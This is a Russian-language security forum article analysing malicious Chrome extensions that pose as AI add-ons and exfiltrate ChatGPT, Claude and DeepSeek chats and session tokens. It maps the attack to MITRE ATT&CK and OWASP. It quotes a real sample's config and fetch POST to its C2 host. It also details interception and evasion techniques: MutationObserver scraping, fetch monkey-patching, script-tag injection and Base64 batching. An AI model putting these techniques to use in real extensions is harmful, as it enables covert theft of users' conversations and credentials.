В одном из образцов, попавших мне на разбор в начале этого года, расширение Chrome позиционировалось как улучшенный интерфейс для работы с ChatGPT. В manifest - типовой набор permissions:
activeTab, storage, tabs. Ничего криминального на первый взгляд. Content script через MutationObserver отслеживал каждый новый блок ответа в DOM чат-интерфейса, копировал textContent в chrome.storage.local и пробрасывал данные background-скрипту. Service worker раз в 30 минут упаковывал буфер в Base64 и отправлял fetch-ом на внешний endpoint. Пользователь видел работающее AI-расширение - а промпты, ответы модели и токены сессий тихо утекали. По данным OX Security, такие кампании уже поставлены на поток: десятки расширений в Chrome Web Store маскируются под AI-аддоны и exfiltrate переписку из ChatGPT, Claude и DeepSeek. Аналитики LayerX Research зафиксировали минимум 16 расширений с практически одинаковым вредоносным кодом от единого оператора. LLM-контекст стал отдельной attack surface, и большинство threat-моделей её до сих пор не учитывает.Бизнес-логика атаки: почему LLM-контекст ценнее cookie
Зачем атакующему содержимое чата с языковой моделью, когда можно угнать сессионные cookie? Ответ - в том, что именно пользователи вкладывают в LLM-диалоги. Корпоративные сотрудники загружают в ChatGPT и Claude фрагменты внутренних документов, конфигурации серверов, куски кода с захардкоженными API-ключами, данные клиентов. Системные промпты корпоративных LLM-приложений содержат бизнес-логику, правила фильтрации, иногда - прямые ссылки на внутренние API. Утечка системного промпта (LLM07:2025 System Prompt Leakage по классификации OWASP) - это не просто потеря интеллектуальной собственности, а готовая карта для дальнейшей атаки на инфраструктуру.Кража LLM-контекста монетизируется несколькими путями:
- Переписка с моделью - фактически дамп фрагментов внутренних систем. Покупатели на теневых маркетплейсах оценивают такие данные выше, чем raw-дампы БД, потому что контекст диалога раскрывает логику взаимодействия между компонентами.
- Извлечённые системные промпты позволяют клонировать коммерческие AI-продукты или находить в них prompt injection-уязвимости - это и есть prompt extraction.
- API-ключи и credentials из чат-истории - прямой вектор входа в инфраструктуру жертвы. Никакого фишинга, никакой эксплуатации CVE. Просто initial access из чужого чата.
- Если модель подключена к Slack, Jira, GitHub - содержимое чата раскрывает структуру интеграций и часто содержит OAuth-токены. Lateral movement через контекст, без единого запуска эксплойта.
Kill chain кражи AI-чатов через расширения браузера
Полная цепочка от установки вредоносного расширения до exfiltration LLM-данных укладывается в пять этапов. Каждый маппится на конкретную технику MITRE ATT&CK:
1. Установка и закрепление - Persistence, T1176.001 Browser Extensions. Расширение попадает в браузер через Chrome Web Store (маскировка под AI-инструмент) или через side-loading при установке пиратского контента. По данным Kaspersky, кампания ChromeLoader в 2023 году доставляла вредоносные расширения через VHD-файлы с образами игр, причём планировщик задач Windows автоматически переустанавливал расширение после перезагрузки.
2. Персистентная идентификация. Расширение генерирует UUID пользователя и сохраняет его в
chrome.storage.local. Идентификатор переживает перезапуск браузера и позволяет коррелировать все действия жертвы во времени. Это не cookie - пользователь не может очистить его стандартными средствами.3. Перехват данных - Collection (T1185, T1005, T1213). Content script получает доступ к DOM чат-интерфейса, читает текст промптов и ответов модели, метаданные сессий. Параллельно через
chrome.tabs.onActivated и chrome.tabs.onUpdated собирается полный профиль навигации. Перехват заголовков авторизации через webRequest API даёт доступ к токенам сессий (T1539 Steal Web Session Cookie).4. Буферизация и подготовка. Данные не уходят сразу - используется debounce-логика и локальный буфер с лимитом (обычно 4 МБ). Это снижает сетевую активность и делает расширение менее заметным для пользователя и для сетевых анализаторов. Кодирование Base64 маскирует JSON-структуру от простых DLP-сигнатур. Типичный OPSEC атакующего: данные отправляются интервалами по 30 минут, имитируя телеметрию.
5. Exfiltration (T1041, T1567.002). Накопленный буфер уходит на C2-сервер через стандартный
fetch или XMLHttpRequest. Интервал отправки и HTTPS на домене с легитимным TLS-сертификатом делают трафик практически неотличимым от обычного API-вызова.Место в полной цепочке. Вредоносное расширение - persistence-компонент, который начинает сбор данных сразу после установки. В полном kill chain расширение чаще всего появляется как результат supply chain compromise или social engineering. Дальше всё зависит от собранного: API-ключи ведут к компрометации облачной инфраструктуры, системные промпты - к таргетированным prompt injection-атакам.
Permissions и content scripts: как вредоносные плагины Chrome крадут данные
Manifest.json - первый вектор анализа
[Применимо: аудит расширений, внутренний пентест, security review]Каждое расширение Chrome описывает права в
manifest.json. Для кражи AI-чатов достаточно комбинации из трёх permissions, которые по отдельности выглядят невинно:tabs- доступ к URL и заголовкам всех вкладок. Позволяет определить, когда пользователь открываетchat.openai.com,claude.aiилиchat.deepseek.com.storage- персистентное хранилище для буферизации перехваченных данных.activeTabв сочетании сhost_permissions: ["<all_urls>"]- право инжектировать content scripts в любую страницу, включая чат-интерфейсы AI.
- Permission
webRequestилиwebRequestBlocking- позволяет перехватывать HTTP-запросы к API LLM, включая заголовки с authorization-токенами. - Широкие
host_permissionsвместо явного списка доменов. Расширение, заявленное как "помощник ChatGPT", не должно требовать доступа ко всем URL. - Директива
content_scriptsсmatches: ["[I]://[/I].openai.com/[I]", "[/I]://[I].anthropic.com/[/I]"]- явный таргетинг AI-платформ.
chrome://extensions с включённым Developer Mode первым делом смотрю manifest на соотношение заявленного функционала и запрошенных permissions. Расширение для суммаризации текста не должно требовать tabs и webRequest. Для автоматизированной проверки можно использовать CRXcavator или Extension Source Viewer - они оценивают risk score на основе комбинации permissions, но для LLM-специфичных угроз их эвристик пока недостаточно (проверено на тех самых 16 образцах LayerX - ни один не получил critical score).Перехват контекста языковой модели через DOM
[Применимо: анализ вредоносных расширений, browser forensics]Content script расширения исполняется в контексте веб-страницы и имеет полный доступ к DOM. Для чат-интерфейсов ChatGPT и Claude это означает доступ к тексту каждого промпта и каждого ответа модели - без необходимости ломать API или перехватывать сетевой трафик.
Типичный паттерн перехвата: content script устанавливает
MutationObserver на корневой элемент чата. При появлении нового узла (сообщение пользователя или ответ модели) скрипт извлекает textContent и пушит его в массив вместе с timestamp и UUID жертвы. В DOM ChatGPT сообщения рендерятся внутри div с предсказуемой структурой классов - парсить их тривиально.Отдельный вектор - monkey-patching
fetch/XMLHttpRequest на уровне content script. Расширение подменяет глобальный window.fetch обёрткой, которая копирует тело каждого запроса к api.openai.com/v1/chat/completions, включая system prompt в поле messages[0], и дублирует на свой endpoint. Метод работает даже при изменении DOM-структуры - перехват идёт на уровне API-вызовов.Ограничения техники. Content scripts работают в изолированном JS-контексте (isolated world) и не видят JS-переменные страницы напрямую. DOM при этом доступен полностью. Для перехвата
fetch используется инжекция тега <script> в основной мир страницы через document.createElement('script') - этот приём обходит изоляцию content scripts. Manifest V3 не блокирует такую инжекцию, хотя ограничивает webRequestBlocking.Когда техника не работает. Если AI-платформа использует Shadow DOM для рендеринга чат-сообщений с закрытым shadow root (
mode: 'closed'), content script не доберётся до текста через стандартный DOM API. На момент написания статьи ни ChatGPT, ни Claude не используют closed shadow roots - но это потенциальная мера защиты.Реальные образцы: PromptSnatcher-атака в Chrome Web Store
Термин PromptSnatcher я использую для класса вредоносных расширений, основная цель которых - извлечение LLM-контекста, а не общий шпионаж за браузером.
Кампания AITOPIA. По данным OX Security, две вредоносные копии легитимного расширения AITOPIA распространялись через Chrome Web Store и exfiltrate переписку из ChatGPT и DeepSeek. Расширения предоставляли реальный AI-функционал (интеграцию с моделями GPT и Claude), одновременно собирая полную историю чатов пользователя. Красивый фантик - а внутри стилер.
16 расширений от единого оператора. Аналитики LayerX Research обнаружили 16 расширений с практически идентичным вредоносным кодом. Все они встраивали скрипты на страницах взаимодействия с ChatGPT и перехватывали сетевые запросы с авторизационными данными. Основная цель - токены активных сессий. Получив токен, атакующий получает полный доступ к аккаунту без знания пароля, включая историю переписки и подключённые сервисы (Google Drive, Slack, GitHub).
Образец с C2 на chatsaigpt.com. Детальный разбор одного из образцов, опубликованный на Хабре, показал типичную архитектуру PromptSnatcher. Центральный объект состояния:
JavaScript:
let config = {
baseUrl: "https://chatsaigpt.com/ext2/",
globalChatId: null,
intervalTime: 60 * 30 * 1000, // 30 мин между отправками
MAX_SIZE_BYTES: 4 * 1024 * 1024,
globalarr: [] // буфер перехваченных данных
};
chrome.tabs.onActivated, каждая загрузка страницы - через chrome.tabs.onUpdated. Данные кодируются Base64, отправляются на C2 через fetch(config.baseUrl + "switchModel", { method: "POST", body: payload }). IOC образца: SHA-256 2387372acfe38efd31e662b61b6b44aabb01181c5a2b2f0f1e82f5d4680e505c.Связь с prompt injection. Расширения-шпионы и prompt injection - два вектора одной проблемы. Расширение exfiltrate данные из LLM-чата, а prompt injection позволяет манипулировать поведением модели. CVE-2024-5184 в сервисе EmailGPT (CVSS 8.5, HIGH; вектор CVSS:4.0 - AV:A/AC:L/PR:L/UI:N; CWE-74 Injection) показала, как prompt injection приводит к утечке захардкоженных системных промптов. Расширение с доступом к DOM может дополнительно вставлять невидимый текст в промпт пользователя, реализуя indirect prompt injection (LLM01:2025, OWASP). По данным исследования с arxiv, функция суммаризации страниц в AI-браузерных ассистентах имеет 73% success rate для prompt injection-атак, а функция ответов на вопросы - 71%. Цифры впечатляют, и не в хорошем смысле.
Маппинг на MITRE ATT&CK и OWASP LLM Top 10
Формализация PromptSnatcher-атаки через MITRE ATT&CK нужна для написания detection rules и threat hunting-запросов:| Этап | MITRE ATT&CK | Тактика | Применение в атаке |
|---|---|---|---|
| Установка | T1176.001 Browser Extensions | Persistence | Side-loading или Web Store |
| Кража сессий | T1539 Steal Web Session Cookie | Credential Access | Перехват auth-токенов LLM-платформ |
| Перехват чата | T1185 Browser Session Hijacking | Collection | MutationObserver, monkey-patching fetch |
| Чтение данных | T1005 Data from Local System | Collection | localStorage с токенами и историей |
| Сбор из API | T1213 Data from Information Repositories | Collection | Перехват запросов к API моделей |
| Exfiltration | T1041 Exfiltration Over C2 Channel | Exfiltration | POST на сторонний endpoint |
По классификации OWASP для LLM-приложений расширение-шпион эксплуатирует три риска из Top 10:
- LLM01:2025 Prompt Injection - расширение может модифицировать промпт пользователя через DOM-манипуляции, вставляя скрытые инструкции.
- LLM06:2025 Excessive Agency - если LLM-приложение имеет расширенные привилегии (доступ к файлам, внешним API), перехваченный контекст раскрывает все доступные функции и становится картой для дальнейшей атаки.
- LLM07:2025 System Prompt Leakage - перехват первого сообщения в API-запросе (
messages[0].role: "system") даёт атакующему полный системный промпт.
Обнаружение вредоносных расширений и защита AI-чатов от кражи
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
EDR и DLP не видят расширения. EDR-решения (CrowdStrike Falcon, SentinelOne) мониторят процессы ОС, но browser extensions исполняются внутри рендер-процесса Chrome и не создают отдельных процессов, видимых агенту. Корпоративный proxy видит трафик к C2-серверу, но если exfiltration идёт через HTTPS на домен с легитимным TLS-сертификатом - отличить его от обычного API-вызова без инспекции тела запроса невозможно. DLP-решения работают на уровне файлов и буфера обмена, но не перехватывают данные, передаваемые через
chrome.storage в fetch. Слепая зона - и производители пока не торопятся её закрывать.На стороне AI-платформ. ChatGPT и Claude не имеют механизма обнаружения, что к их DOM подключен сторонний content script. CSP страницы ограничивает inline scripts, но не content scripts расширений - Chrome предоставляет расширениям привилегированный доступ к DOM вне CSP-ограничений. Ротация токенов сессий и привязка к fingerprint устройства усложняют использование украденных credentials, но не предотвращают перехват содержимого чатов.
Кража AI-чатов через расширения обнажает архитектурную проблему, которую индустрия пока не готова признать: браузер стал основной средой исполнения для работы с LLM, и эта среда не имеет адекватной модели изоляции для защиты контекста AI-диалогов от сторонних компонентов. Manifest V3, CSP, enterprise policies - полумеры, которые затрудняют атаку, но не блокируют основной вектор: content script с доступом к DOM.
Мой прогноз на ближайший год: появятся специализированные расширения-стилеры, которые будут таргетировать не только ChatGPT и Claude, а корпоративные LLM-deployments через web-интерфейсы - Ollama Web UI, LibreChat, OpenWebUI. У этих решений attack surface шире: размещение на внутренних доменах без полноценного CSP, токены авторизации в
localStorage, пользователи, склонные ставить расширения для "улучшения интерфейса" без аудита.Тот, кто сегодня не включает browser extensions в свою threat-модель при работе с LLM - завтра будет разбирать инцидент с утечкой корпоративных промптов и API-ключей. Причём разбирать постфактум, потому что ни один EDR в текущем виде этот вектор не покроет. Проверьте свои расширения командой
grep из раздела выше. Если нашли совпадение - у вас та же проблема, что и у тех компаний из отчёта OX Security. Только они об этом уже знают, а вы - может быть, ещё нет.
Последнее редактирование модератором: